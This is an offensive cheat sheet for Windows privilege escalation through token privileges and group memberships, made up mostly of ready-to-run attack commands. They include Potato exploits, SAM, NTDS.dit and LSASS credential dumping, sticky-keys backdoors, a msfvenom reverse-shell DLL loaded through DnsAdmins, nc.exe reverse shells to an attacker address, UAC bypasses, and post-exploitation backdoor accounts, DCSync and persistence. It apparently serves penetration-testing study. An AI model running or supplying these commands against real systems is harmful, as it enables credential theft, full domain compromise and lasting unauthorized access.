Legend:
[GROUP]= Windows group |[PRIV]= Token privilege |[EXPLOIT]= Exploitation technique |[ENUM]= Enumeration |[POTATO]= Potato attack family |[TOKEN]= Token manipulation |[BYPASS]= UAC/restriction bypass |[CMD]= Command/tool
1. Overview & Methodology
What it means: Windows privilege escalation via groups and privileges abuses misconfigured token privileges (assigned per user/service) and group memberships that grant elevated rights — often without needing a software exploit at all.
1.1 Privilege Escalation Hierarchy
┌──────────────────────────────────────────────────────────────────┐
│ WINDOWS PRIVESC DECISION TREE │
│ │
│ whoami /all → Check current user, groups, privileges │
│ │ │
│ ├── SeImpersonatePrivilege / SeAssignPrimaryToken? │
│ │ └──► Potato Attacks (SYSTEM instantly) │
│ │ │
│ ├── SeBackupPrivilege / SeRestorePrivilege? │
│ │ └──► Read SAM/SYSTEM → dump hashes → Pass-Hash │
│ │ │
│ ├── SeDebugPrivilege? │
│ │ └──► Inject into SYSTEM process │
│ │ │
│ ├── SeLoadDriverPrivilege? │
│ │ └──► Load malicious kernel driver │
│ │ │
│ ├── SeTakeOwnershipPrivilege? │
│ │ └──► Take ownership of any file/registry │
│ │ │
│ ├── Member of Backup Operators? │
│ │ └──► Read any file, dump hashes │
│ │ │
│ ├── Member of Server Operators? │
│ │ └──► Modify + restart services as SYSTEM │
│ │ │
│ ├── Member of DnsAdmins? │
│ │ └──► Load DLL via DNS service → SYSTEM on DC │
│ │ │
│ └── Member of Remote Management Users? │
│ └──► WinRM access → lateral movement │
└──────────────────────────────────────────────────────────────────┘
1.2 Windows Token Architecture
Every process has an Access Token containing:
├── User SID → who you are
├── Group SIDs → what groups you belong to
├── Privileges → what special actions you can perform
├── Integrity Level → Low / Medium / High / System
└── Impersonation → Impersonation / Delegation token type
Token Types:
Primary Token → attached to process (used for process actions)
Impersonation Token → attached to thread (used for impersonating others)
Integrity Levels:
Low → sandboxed (browser tabs)
Medium → standard user
High → elevated (UAC prompt accepted)
System → SYSTEM account
Trusted → above SYSTEM (kernel)
2. Privilege & Group Enumeration
2.1 Manual Enumeration Commands
:: ─── Current user info ───
whoami
whoami /priv :: → list all token privileges + state (Enabled/Disabled)
whoami /groups :: → list all group memberships
whoami /all :: → FULL DUMP: user + groups + privileges
:: ─── Local users and groups ───
net user :: all local users
net user <username> :: detailed user info
net localgroup :: all local groups
net localgroup Administrators :: members of Administrators
net localgroup "Backup Operators"
net localgroup "Remote Desktop Users"
net localgroup "DnsAdmins"
net localgroup "Server Operators"
:: ─── Domain groups (if domain-joined) ───
net group /domain :: all domain groups
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
:: ─── Privileges via PowerShell ───
[System.Security.Principal.WindowsIdentity]::GetCurrent() |
Select-Object -ExpandProperty Groups |
ForEach-Object { $_.Translate([System.Security.Principal.NTAccount]) }
2.2 Automated Enumeration Tools
# ─── WinPEAS (most comprehensive) ───
.\winPEASx64.exe
# Look for: "Interesting Privileges" + "Interesting Groups" sections
# Highlighted in RED = directly exploitable!
# ─── PowerUp ───
Import-Module .\PowerUp.ps1
Invoke-AllChecks
# ─── Seatbelt ───
.\Seatbelt.exe TokenPrivileges
.\Seatbelt.exe -group=all
# ─── PrivescCheck ───
. .\PrivescCheck.ps1
Invoke-PrivescCheck -Extended
2.3 Reading whoami /priv Output
Privilege Name State
─────────────────────────────────────────────────────────
SeImpersonatePrivilege Enabled ← POTATO!
SeAssignPrimaryTokenPrivilege Disabled ← POTATO!
SeBackupPrivilege Disabled ← SAM dump
SeRestorePrivilege Disabled ← registry write
SeDebugPrivilege Enabled ← inject SYSTEM
SeLoadDriverPrivilege Enabled ← kernel driver
SeTakeOwnershipPrivilege Disabled ← file ownership
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege Enabled ← (normal, benign)
SeUndockPrivilege Disabled
NOTE: Disabled privileges CAN STILL BE EXPLOITED!
A process can enable its own disabled privileges via
AdjustTokenPrivileges() — the privilege just needs to be
PRESENT in the token, not necessarily "Enabled"!
3. Dangerous Windows Privileges
3.1 SeImpersonatePrivilege — [CRITICAL]
What it means: Allows a process to impersonate the security context of any client that connects to it. Combined with a named pipe or COM server trick that lures SYSTEM/Admin tokens — this is the most common path to SYSTEM on Windows servers.
Who has it by default:
├── LOCAL SERVICE
├── NETWORK SERVICE
├── IIS App Pool accounts
├── SQL Server service accounts
├── Any service running as a service account
└── Administrators (but they're already admin)
Exploitation path:
You (service/IIS/SQL shell) → have SeImpersonate
Trick SYSTEM to connect to your named pipe / COM object
Steal SYSTEM token → impersonate SYSTEM → execute as SYSTEM
:: ─── Check if you have it ───
whoami /priv | findstr "SeImpersonatePrivilege"
:: ─── Exploit: PrintSpoofer (Windows 10/Server 2019) ───
.\PrintSpoofer64.exe -i -c cmd
.\PrintSpoofer64.exe -c "net user hacker P@ss123 /add"
.\PrintSpoofer64.exe -c "net localgroup Administrators hacker /add"
:: ─── Exploit: GodPotato (Windows Server 2012-2022) ───
.\GodPotato.exe -cmd "cmd /c whoami"
.\GodPotato.exe -cmd "cmd /c net user hacker P@ss123 /add"
.\GodPotato.exe -cmd "cmd /c net localgroup Administrators hacker /add"
:: ─── Exploit: SweetPotato (versatile) ───
.\SweetPotato.exe -a "whoami"
.\SweetPotato.exe -a "cmd.exe /c net user hacker P@ss123 /add"
:: ─── Exploit: JuicyPotato (older systems, needs CLSID) ───
:: Find working CLSID: https://github.com/ohpe/juicy-potato/tree/master/CLSID
.\JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami" -t * -c {CLSID}
:: ─── Exploit: RoguePotato (Server 2019+) ───
.\RoguePotato.exe -r 10.10.10.10 -e "cmd.exe" -l 9999
3.2 SeAssignPrimaryTokenPrivilege — [CRITICAL]
What it means: Allows replacing the primary token of a process. Often found alongside SeImpersonatePrivilege. Same Potato attack family applies.
:: Same Potato attacks apply!
:: GodPotato / PrintSpoofer work for this as well
:: Manual token assignment approach:
:: Use CreateProcessWithTokenW() with SYSTEM token
.\SweetPotato.exe -a "cmd.exe"
3.3 SeBackupPrivilege — [HIGH]
What it means: Originally for backup software — allows reading ANY file regardless of ACL (even SYSTEM-only files). Critical for forensics and pentesting because it gives read access to SAM, SYSTEM, NTDS.dit — all the hash databases.
:: ─── Check ───
whoami /priv | findstr "SeBackupPrivilege"
:: ─── Method 1: reg save (dump SAM hive) ───
reg save HKLM\SAM SAM.sav
reg save HKLM\SYSTEM SYSTEM.sav
reg save HKLM\SECURITY SECURITY.sav
:: Pull to attacker machine
:: On Kali:
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
# → Dumps all local NTLM hashes!
:: ─── Method 2: Copy NTDS.dit (Domain Controller) ───
:: If you're on a DC with SeBackupPrivilege:
:: Using Diskshadow
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create
expose %cdrive% Z:
end backup
exit
# to execute the command as script.
diskshadow.exe /s script.txt
robocopy /B Z:\Windows\NTDS .\ntds ntds.dit
:: Pull NTDS.dit + SYSTEM hive → full domain hash dump!
impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL
:: ─── Method 3: SeBackupPrivilege PowerShell script ───
# https://github.com/giuliano108/SeBackupPrivilege
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSeBackupPrivilege C:\Windows\NTDS\NTDS.dit C:\Temp\NTDS.dit -Overwrite
3.4 SeRestorePrivilege — [HIGH]
What it means: Allows writing to ANY file/directory regardless of ACL. Pair with SeBackupPrivilege (often granted together) for full read/write anywhere.
:: ─── Write to privileged locations ───
:: 1. Replace utilman.exe / sethc.exe (sticky keys backdoor)
:: 2. Drop DLL into System32 for DLL hijacking
:: 3. Overwrite service binary
:: 4. Write to registry hives directly
:: Using SeRestore to overwrite utilman.exe with cmd.exe
:: (Trigger: Windows + U on login screen → SYSTEM cmd!)
copy C:\Windows\System32\cmd.exe C:\Temp\utilman.exe
# Use SeRestore-capable tool to write to System32:
.\SetRegSecurity.exe # or custom tool leveraging RegReplaceKey()
3.5 SeDebugPrivilege — [HIGH]
What it means: Allows opening any process with PROCESS_ALL_ACCESS — including SYSTEM processes. Direct path to dumping LSASS (credential dump) and code injection into SYSTEM processes.
:: ─── Check ───
whoami /priv | findstr "SeDebugPrivilege"
:: ─── Exploit: LSASS memory dump ───
:: Method 1: Task Manager (if GUI)
:: Task Manager → Details → lsass.exe → Create dump file
:: Method 2: ProcDump
.\procdump.exe -accepteula -ma lsass.exe lsass.dmp
:: Method 3: Rundll32
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Temp\lsass.dmp full
:: Method 4: Mimikatz
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
:: ─── Exploit: Inject into SYSTEM process ───
:: Create shellcode → inject into lsass / winlogon / services.exe
.\Invoke-ReflectivePEInjection.ps1 # inject DLL into SYSTEM process
3.6 SeLoadDriverPrivilege — [HIGH]
What it means: Allows loading and unloading kernel drivers. Load a vulnerable or malicious driver → kernel-level code execution → SYSTEM.
:: ─── Check ───
whoami /priv | findstr "SeLoadDriverPrivilege"
:: ─── Exploit: Load vulnerable driver (BYOVD) ───
:: Use a known-vulnerable legitimate driver to get kernel execution
:: Step 1: Load vulnerable driver (e.g., capcom.sys)
:: Step 2: Exploit driver IOCTL → kernel shellcode
:: Step 3: Elevate to SYSTEM
:: Tool: EoPLoadDriver
.\EoPLoadDriver.exe System\CurrentControlSet\Services\DriverName .\evil_driver.sys
:: ─── Common vulnerable drivers ───
:: RTCore64.sys (MSI Afterburner)
:: capcom.sys
:: Any BYOVD (Bring Your Own Vulnerable Driver) target
3.7 SeTakeOwnershipPrivilege — [MEDIUM-HIGH]
What it means: Allows taking ownership of any securable object — file, registry key, service — and then modifying its ACL to grant yourself full access.
:: ─── Take ownership of sensitive file ───
takeown /f C:\Windows\System32\utilman.exe
icacls C:\Windows\System32\utilman.exe /grant %USERNAME%:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
:: Now press Win+U at login screen → SYSTEM cmd!
:: ─── Take ownership of service binary ───
:: Find writable service path
sc qc ServiceName
:: Get binary path → takeown + icacls → replace with payload
:: ─── Registry key ownership ───
takeown /f "HKLM\SYSTEM\CurrentControlSet\Services\SomeService" /A /r
icacls "C:\path" /grant Administrators:F /t
3.8 SeManageVolumePrivilege — [MEDIUM]
:: Allows full access to volumes → direct disk read
:: Exploit: Read raw disk sectors → extract files bypassing NTFS permissions
.\SeManageVolumeExploit.exe
:: → Grants write access to entire C: volume
3.9 Privilege Summary Table
| Privilege | Default Holder | Attack Path | Severity |
|---|---|---|---|
| SeImpersonatePrivilege | IIS/SQL/Services | Potato family → SYSTEM | 🔴 CRITICAL |
| SeAssignPrimaryToken | Services | Potato family → SYSTEM | 🔴 CRITICAL |
| SeBackupPrivilege | Backup Ops | SAM/NTDS dump → hashes | 🔴 HIGH |
| SeRestorePrivilege | Backup Ops | Overwrite system files | 🔴 HIGH |
| SeDebugPrivilege | Admins | LSASS dump, process inject | 🔴 HIGH |
| SeLoadDriverPrivilege | Print Ops | Malicious driver → kernel | 🔴 HIGH |
| SeTakeOwnershipPrivilege | Admins | Overwrite any file/key | 🟠 HIGH |
| SeManageVolumePrivilege | Admins | Raw disk read/write | 🟠 MEDIUM |
| SeCreateSymbolicLinkPrivilege | Admins | Symlink attacks | 🟡 MEDIUM |
| SeIncreaseBasePriorityPrivilege | Admins | DoS via priority | 🟡 LOW |
4. Dangerous Windows Groups
4.1 Administrators Group — [CRITICAL]
:: If you ARE in Administrators but running Medium integrity (UAC):
whoami /groups | findstr "S-1-5-32-544"
:: UAC Bypass needed → see Section 6
:: Or simply: runas /user:Administrator cmd.exe
:: Once elevated:
net localgroup Administrators :: confirm membership
4.2 Backup Operators — [CRITICAL]
What it means: Built-in group that grants SeBackupPrivilege AND SeRestorePrivilege. Designed for backup software — abused by attackers to dump all credential databases.
:: ─── Enumerate ───
net localgroup "Backup Operators"
:: ─── Exploit: Dump local hashes ───
reg save HKLM\SAM C:\Temp\SAM /y
reg save HKLM\SYSTEM C:\Temp\SYSTEM /y
:: Transfer to Kali → impacket-secretsdump → local hashes
:: ─── Exploit on Domain Controller ───
:: If Backup Operators on DC → dump NTDS.dit → ALL domain hashes!
diskshadow → shadow copy → robocopy NTDS.dit
impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL
:: → Krbtgt hash → Golden Ticket → permanent domain persistence!
:: ─── WinRM if also in Remote Management Users ───
:: Login via Evil-WinRM with Backup Operators member
evil-winrm -i 10.10.10.10 -u BackupUser -p Password123
:: Then run reg save + download SAM/SYSTEM
4.3 Server Operators — [HIGH]
What it means: Can start/stop/configure services and log on locally to domain controllers. Services often run as SYSTEM — modify a service binary path → SYSTEM.
:: ─── Enumerate ───
net localgroup "Server Operators"
:: ─── Exploit: Modify service binary path ───
:: List services you can modify
sc query
services.msc → check permissions
:: Change a running service's binary to your payload
sc config AppReadiness binPath= "cmd /c net localgroup Administrators hacker /add"
sc stop AppReadiness
sc start AppReadiness
:: → Command runs as SYSTEM!
:: Cleaner reverse shell version:
sc config AppReadiness binPath= "C:\Temp\nc.exe -e cmd.exe 10.10.10.10 4444"
sc stop AppReadiness
sc start AppReadiness
4.4 DnsAdmins — [HIGH / DC ONLY]
What it means: Members can manage DNS — and critically, can configure the DNS service to load an arbitrary DLL plugin. Since DNS runs as SYSTEM on domain controllers, this grants SYSTEM on the DC → domain compromise.
:: ─── Enumerate ───
net group "DnsAdmins" /domain
:: ─── Exploit: DLL injection via DNS service ───
:: Step 1: Create malicious DLL (on Kali)
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f dll -o evil.dll
:: Step 2: Host DLL on SMB share
impacket-smbserver share /path/to/dll -smb2support
:: Step 3: Configure DNS to load your DLL (as DnsAdmins member)
dnscmd.exe DC01 /config /serverlevelplugindll \\10.10.10.10\share\evil.dll
:: Step 4: Restart DNS service
sc stop dns
sc start dns
:: → DNS service loads evil.dll as SYSTEM → reverse shell!
:: Step 5: Clean up (remove the DLL after getting shell)
dnscmd.exe DC01 /config /serverlevelplugindll ""
sc stop dns && sc start dns
4.5 Remote Desktop Users — [MEDIUM]
:: ─── Enumerate ───
net localgroup "Remote Desktop Users"
:: ─── Abuse ───
:: Can RDP into machines → lateral movement
xfreerdp /u:user /p:password /v:10.10.10.10
:: Once connected → pivot further
4.6 Remote Management Users — [MEDIUM]
:: ─── Enumerate ───
net localgroup "Remote Management Users"
:: ─── Abuse: WinRM/PowerShell Remoting ───
evil-winrm -i 10.10.10.10 -u user -p Password123
# OR
Enter-PSSession -ComputerName DC01 -Credential (Get-Credential)
:: Useful for: lateral movement, combine with other privs
:: CRITICAL combo: Remote Management Users + Backup Operators on DC!
4.7 Account Operators — [HIGH / DOMAIN]
What it means: Can create, modify, and delete user accounts and groups (except Administrators, Domain Admins). Abused to add accounts to privileged groups.
:: ─── Exploit: Add user to group ───
net user newuser P@ssword123 /add /domain
net group "Backup Operators" newuser /add /domain
net group "Remote Management Users" newuser /add /domain
:: Now login as newuser → Backup Operators privesc!
4.8 Print Operators — [HIGH / DOMAIN]
:: Print Operators have SeLoadDriverPrivilege
:: → Load malicious kernel driver → SYSTEM
:: See Section 3.6 for exploit details
whoami /priv | findstr "SeLoadDriverPrivilege"
4.9 Hyper-V Administrators — [CRITICAL]
What it means: Full control over Hyper-V virtual machines. If DC runs as a VM (common), Hyper-V Admin can clone the DC VM → extract NTDS.dit → domain compromise.
# Access VM console
Get-VM | Select Name, State
# Clone/snapshot DC VM → mount → extract NTDS.dit
vmconnect.exe localhost "DC01"
4.10 Group Summary Table
| Group | Attack | Impact |
|---|---|---|
| Administrators | UAC bypass → full local admin | 🔴 CRITICAL |
| Backup Operators | Dump SAM/NTDS.dit | 🔴 CRITICAL |
| Server Operators | Modify service → SYSTEM | 🔴 HIGH |
| DnsAdmins | DLL injection via DNS | 🔴 HIGH (DC) |
| Account Operators | Add users to groups | 🟠 HIGH |
| Print Operators | SeLoadDriverPrivilege | 🟠 HIGH |
| Hyper-V Admins | Clone DC VM → NTDS.dit | 🔴 CRITICAL |
| Remote Mgmt Users | WinRM access | 🟡 MEDIUM |
| Remote Desktop Users | RDP lateral movement | 🟡 MEDIUM |
5. Token Impersonation Attacks
5.1 The Potato Family
Potato Attack Evolution:
┌─────────────────────────────────────────────────────────────┐
│ HotPotato (2016) → NBNS + WPAD spoofing │
│ RottenPotato (2016) → COM + named pipe impersonation │
│ LonelyPotato (2018) → no metasploit needed │
│ JuicyPotato (2018) → CLSID-based COM hijack │
│ RoguePotato (2020) → Server 2019/Win10 support │
│ SweetPotato (2020) → combines multiple techniques │
│ PrintSpoofer (2020) → SpoolSample + named pipe trick │
│ GodPotato (2023) → Windows 2012-2022 universal │
└─────────────────────────────────────────────────────────────┘
All require: SeImpersonatePrivilege OR SeAssignPrimaryTokenPrivilege
All achieve: NT AUTHORITY\SYSTEM
5.2 Potato Attack Selection Guide
Target OS Best Tool
──────────────────────────────────────────────────────────────
Windows Server 2012-2022 GodPotato ← use this first!
Windows 10 / Server 2019 PrintSpoofer or SweetPotato
Windows Server 2016 SweetPotato or RoguePotato
Windows 7 / Server 2008 JuicyPotato (with CLSID list)
Any modern Windows GodPotato (most universal)
:: ─── GodPotato (recommended, most universal) ───
.\GodPotato.exe -cmd "whoami"
.\GodPotato.exe -cmd "cmd.exe /c net user hacker P@ss123 /add"
.\GodPotato.exe -cmd "cmd.exe /c net localgroup Administrators hacker /add"
.\GodPotato.exe -cmd "C:\Temp\nc.exe -e cmd.exe 10.10.10.10 4444"
:: ─── PrintSpoofer ───
.\PrintSpoofer64.exe -i -c cmd :: interactive SYSTEM shell!
.\PrintSpoofer64.exe -c "whoami"
.\PrintSpoofer64.exe -c "powershell.exe"
:: ─── SweetPotato ───
.\SweetPotato.exe -a "whoami"
.\SweetPotato.exe -a "cmd.exe /c ..."
5.3 Manual Token Impersonation
# ─── Find impersonatable tokens ───
# Using Incognito (Metasploit module)
meterpreter> use incognito
meterpreter> list_tokens -u
# Shows: Delegation Tokens + Impersonation Tokens available
meterpreter> impersonate_token "NT AUTHORITY\SYSTEM"
meterpreter> shell
# whoami → NT AUTHORITY\SYSTEM!
# ─── PowerShell: token theft (if SeDebug) ───
# Using Invoke-TokenManipulation.ps1
Import-Module .\Invoke-TokenManipulation.ps1
Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system"
6. UAC Bypass
What it means: Even if you're in the Administrators group, UAC keeps you running at Medium integrity. UAC bypass elevates to High integrity without triggering the consent prompt — required to use admin privileges fully.
6.1 Quick UAC Bypass Methods
:: ─── Check UAC level ───
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
:: ConsentPromptBehaviorAdmin = 5 → UAC enabled, prompt for creds
:: ConsentPromptBehaviorAdmin = 0 → UAC DISABLED → already elevated!
:: ─── Check current integrity ───
whoami /groups | findstr "Mandatory Label"
:: High Mandatory Label = already elevated
:: Medium Mandatory Level = UAC active
:: ─── Method 1: Fodhelper bypass (Windows 10) ───
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /v "DelegateExecute" /f
fodhelper.exe
:: → cmd.exe opens as HIGH integrity!
:: ─── Method 2: EventViewer bypass ───
REG ADD HKCU\Software\Classes\mscfile\shell\open\command /d "cmd.exe" /f
eventvwr.exe
:: ─── Method 3: Runas (if you know password) ───
runas /user:Administrator "cmd.exe"
:: ─── Method 4: PowerShell bypass ───
Start-Process cmd.exe -Verb RunAs
:: ─── Automated: UACME (many techniques) ───
:: https://github.com/hfiref0x/UACME
.\akagi64.exe 23 C:\Temp\payload.exe :: method 23 = fodhelper
.\akagi64.exe 61 C:\Temp\payload.exe :: method 61 = newer
7. Tools Cheat Sheet
7.1 Full Privilege Escalation Workflow
:: Step 1: Who am I?
whoami && whoami /all
:: Step 2: Automated scan
.\winPEASx64.exe | Tee-Object C:\Temp\winpeas.txt
:: Step 3: Check token privileges
whoami /priv
:: SeImpersonate → GodPotato immediately!
:: SeDebug → Mimikatz/LSASS dump!
:: SeBackup → reg save SAM SYSTEM
:: Step 4: Check group memberships
whoami /groups
net localgroup Administrators
net localgroup "Backup Operators"
net localgroup "Server Operators"
net localgroup "DnsAdmins"
:: Step 5: Based on findings, choose exploit from above sections
7.2 Quick Reference — Privilege to Exploit
Privilege/Group Immediate Command
────────────────────────────────────────────────────────────────────
SeImpersonatePrivilege .\GodPotato.exe -cmd "cmd /c whoami"
SeBackupPrivilege reg save HKLM\SAM C:\Temp\SAM
SeDebugPrivilege mimikatz "privilege::debug" "sekurlsa::logonpasswords"
SeLoadDriverPrivilege .\EoPLoadDriver.exe ... .\evil.sys
SeTakeOwnershipPrivilege takeown /f C:\Windows\System32\utilman.exe
Backup Operators reg save + impacket-secretsdump
Server Operators sc config svc binPath= "cmd /c ..."
DnsAdmins dnscmd DC01 /config /serverlevelplugindll \attacker\evil.dll
Account Operators net group "Backup Operators" attacker /add /domain
Admin (Medium integrity) fodhelper UAC bypass → High integrity
7.3 Post-Exploitation After SYSTEM
:: Dump all local hashes
mimikatz "privilege::debug" "token::elevate" "lsadump::sam" exit
:: Dump all domain hashes (if on DC)
mimikatz "lsadump::dcsync /domain:corp.local /all" exit
:: Add backdoor admin
net user backdoor P@ss123 /add
net localgroup Administrators backdoor /add
:: Enable RDP
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=TCP localport=3389
:: Persistence: registry run key
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Update" /D "C:\Temp\shell.exe" /F